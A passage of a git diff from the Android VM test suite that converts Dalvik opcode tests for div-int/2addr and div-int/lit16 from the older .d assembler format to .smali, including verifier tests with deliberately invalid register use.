-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 4
-
-       div-int/2addr v1, v3
-       return v2
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_2addr/d/T_div_int_2addr_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_2addr/d/T_div_int_2addr_4.smali
new file mode 100644
index 0000000..bafd190
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_2addr/d/T_div_int_2addr_4.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_int_2addr_4.java"
+.class  public Ldot/junit/opcodes/div_int_2addr/d/T_div_int_2addr_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 4
+
+       div-int/2addr v1, v3
+       return v2
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_2addr/d/T_div_int_2addr_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_2addr/d/T_div_int_2addr_5.d
deleted file mode 100644
index 2ee42a9..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_2addr/d/T_div_int_2addr_5.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_div_int_2addr_5.java
-.class public dot.junit.opcodes.div_int_2addr.d.T_div_int_2addr_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(IF)I
-.limit regs 4
-
-       div-int/2addr v2, v3
-       return v2
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_2addr/d/T_div_int_2addr_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_2addr/d/T_div_int_2addr_5.smali
new file mode 100644
index 0000000..ec16f22
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_2addr/d/T_div_int_2addr_5.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_int_2addr_5.java"
+.class  public Ldot/junit/opcodes/div_int_2addr/d/T_div_int_2addr_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(IF)I
+.registers 4
+
+       div-int/2addr v2, v3
+       return v2
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_2addr/d/T_div_int_2addr_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_2addr/d/T_div_int_2addr_6.d
deleted file mode 100644
index 7742df6..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_2addr/d/T_div_int_2addr_6.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_div_int_2addr_6.java
-.class public dot.junit.opcodes.div_int_2addr.d.T_div_int_2addr_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 4
-
-       div-int/2addr v2, v4
-       return v2
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_2addr/d/T_div_int_2addr_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_2addr/d/T_div_int_2addr_6.smali
new file mode 100644
index 0000000..0b65772
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_2addr/d/T_div_int_2addr_6.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_int_2addr_6.java"
+.class  public Ldot/junit/opcodes/div_int_2addr/d/T_div_int_2addr_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 4
+
+       div-int/2addr v2, v4
+       return v2
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_1.d
deleted file mode 100644
index 6b57fb7..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_1.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_div_int_lit16_1.java
-.class public dot.junit.opcodes.div_int_lit16.d.T_div_int_lit16_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 4
-
-       const v2, 8
-       div-int/lit16 v0, v2, 4
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_1.smali
new file mode 100644
index 0000000..d878516
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_1.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_int_lit16_1.java"
+.class  public Ldot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 4
+
+       const v2, 8
+       div-int/lit16 v0, v2, 4
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_10.d b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_10.d
deleted file mode 100644
index d665855..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_10.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_div_int_lit16_10.java
-.class public dot.junit.opcodes.div_int_lit16.d.T_div_int_lit16_10
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 4
-
-       const v2, -2147483648
-       div-int/lit16 v0, v2, 32767
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_10.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_10.smali
new file mode 100644
index 0000000..a21c237
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_10.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_int_lit16_10.java"
+.class  public Ldot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_10;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 4
+
+       const v2, -2147483648
+       div-int/lit16 v0, v2, 32767
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_11.d b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_11.d
deleted file mode 100644
index 9f6cd95..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_11.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_div_int_lit16_11.java
-.class public dot.junit.opcodes.div_int_lit16.d.T_div_int_lit16_11
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 4
-
-       const v2, 1
-       div-int/lit16 v0, v2, 32767
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_11.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_11.smali
new file mode 100644
index 0000000..634ffec
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_11.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_int_lit16_11.java"
+.class  public Ldot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_11;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 4
+
+       const v2, 1
+       div-int/lit16 v0, v2, 32767
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_12.d b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_12.d
deleted file mode 100644
index e99957a..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_12.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_div_int_lit16_12.java
-.class public dot.junit.opcodes.div_int_lit16.d.T_div_int_lit16_12
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 4
-
-       const v2, 1
-       div-int/lit16 v0, v2, -32768
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_12.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_12.smali
new file mode 100644
index 0000000..95541c1
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_12.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_int_lit16_12.java"
+.class  public Ldot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_12;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 4
+
+       const v2, 1
+       div-int/lit16 v0, v2, -32768
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_13.d b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_13.d
deleted file mode 100644
index 4115385..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_13.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_div_int_lit16_13.java
-.class public dot.junit.opcodes.div_int_lit16.d.T_div_int_lit16_13
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 4
-
-       const v2, 1
-       div-int/lit16 v0, v2, 0
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_13.java b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_13.java
index bbbab37..1d9a7fd 100644
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_13.java
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_13.java
@@ -18,6 +18,7 @@
 
 public class T_div_int_lit16_13 {
 
+    @SuppressWarnings("ConstantOverflow")
     public int run() {
         return 1 / 0;
     }
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_13.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_13.smali
new file mode 100644
index 0000000..e0f4bc8
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_13.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_int_lit16_13.java"
+.class  public Ldot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_13;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 4
+
+       const v2, 1
+       div-int/lit16 v0, v2, 0
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_14.d b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_14.d
deleted file mode 100644
index 3731d36..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_14.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_div_int_lit16_14.java
-.class public dot.junit.opcodes.div_int_lit16.d.T_div_int_lit16_14
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 4
-
-       const-wide v1, 31415
-       div-int/lit16 v1, v1, 1
-       const v0, 1
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_14.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_14.smali
new file mode 100644
index 0000000..4e84bd9
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_14.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_int_lit16_14.java"
+.class  public Ldot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_14;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 4
+
+       const-wide v1, 31415
+       div-int/lit16 v1, v1, 1
+       const v0, 1
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_15.d b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_15.d
deleted file mode 100644
index 27fba6e..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_15.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_div_int_lit16_15.java
-.class public dot.junit.opcodes.div_int_lit16.d.T_div_int_lit16_15
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 4
-
-       const-wide v1, 3.1415
-       div-int/lit16 v1, v1, 1
-       const v0, 1
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_15.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_15.smali
new file mode 100644
index 0000000..8252bf7
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_15.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_int_lit16_15.java"
+.class  public Ldot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_15;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 4
+
+       const-wide v1, 3.1415
+       div-int/lit16 v1, v1, 1
+       const v0, 1
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_16.d b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_16.d
deleted file mode 100644
index 6caadaf..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_16.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_div_int_lit16_16.java
-.class public dot.junit.opcodes.div_int_lit16.d.T_div_int_lit16_16
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 4
-
-       div-int/lit16 v1, v3, 1
-       const v0, 1
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_16.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_16.smali
new file mode 100644
index 0000000..c3cf33e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_16.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_int_lit16_16.java"
+.class  public Ldot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_16;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 4
+
+       div-int/lit16 v1, v3, 1
+       const v0, 1
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_17.d b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_17.d
deleted file mode 100644
index b60a81d..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_17.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_div_int_lit16_17.java
-.class public dot.junit.opcodes.div_int_lit16.d.T_div_int_lit16_17
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(F)I
-.limit regs 4
-
-       div-int/lit16 v0, v3, 4
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_17.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_17.smali
new file mode 100644
index 0000000..21d9ee2
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_17.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_int_lit16_17.java"
+.class  public Ldot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_17;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
